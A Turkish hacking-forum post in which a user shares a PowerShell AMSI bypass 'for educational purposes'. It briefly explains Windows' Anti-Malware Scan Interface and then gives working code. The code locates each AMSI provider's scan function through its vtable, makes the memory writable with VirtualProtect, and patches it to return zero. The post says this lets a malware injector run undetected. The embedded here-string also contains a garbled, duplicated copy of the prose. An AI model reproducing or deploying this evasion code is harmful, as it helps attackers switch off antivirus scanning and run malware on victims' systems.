emrose
Diamond Üye
- Katılım
- 13 Şub 2023
- Mesajlar
- 257
- Beğeniler
- 16
Bilişim suçlarından her türlü cezayı aldıktan sonra daha bu işlere bulaşmamak ve insanların kendisini eğitebilmesi için ilgilenen kişilerinde işine yarayacak AMSI-BYPASS:
Amsi Nedir: Öncelikle Windows sistemlerde win-defender'ın yanı sıra bir adet daha koruma bulunuyor,defender .exe .py gibi uzantıları incelerken amsi (Anti Malware Scan Interface) .bat .vbs gibi dosya uzantılarını inceler ve AMSI tarafından taranan dosyalar defender tarafında ekstra bir taramaya girmez. Yani .bat dosyanız varsa malware injectorunuz de cs veyahut ps ile yazıldıysa modifiyenizi yapıp kullanabilirsiniz.
Eğitim amaçlı paylaşılmıştır.
$Apis = @"Amsi Nedir: Öncelikle Windows sistemlerde win-defender'ın yanı sıra bir adet daha koruma bulunuyor,defender .exe .py gibi uzantıları incelerken amsi (Anti Malware Scan Interface) .bat .vbs gibi dosya uzantılarını inceler ve AMSI tarafından taranan dosyalar defender tarafında ekstra bir taramaya girmez. Yani .bat dosyanız varsa malware injectorunuz de cs veyahut ps ile yazıldıysa modifiyenizi yapıp kullanabilirsiniz.
Eğitim amaçlı paylaşılmıştır.
using System;
using System.Runtime.InteropServices;
public class Apis {
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("amsi")]
public static extern int AmsiInitialize(string appName, out Int64 context);
}
"@
Add-Type $Apis
$ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3)
$p = 0; $i = 0
$SIZE_OF_PTR = 8
[Int64]$ctx = 0
[Apis]::AmsiInitialize("MyScanner", [ref]$ctx)
$CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16)
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64)
while ($AntimalwareProvider -ne 0)
{
$AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider)
$AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24)
Write-host "[$i] Provider's scan function found!" $AmsiProviderScanFunc
[APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6)
$i++
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64 + ($i*$SIZE_OF_PTR))
}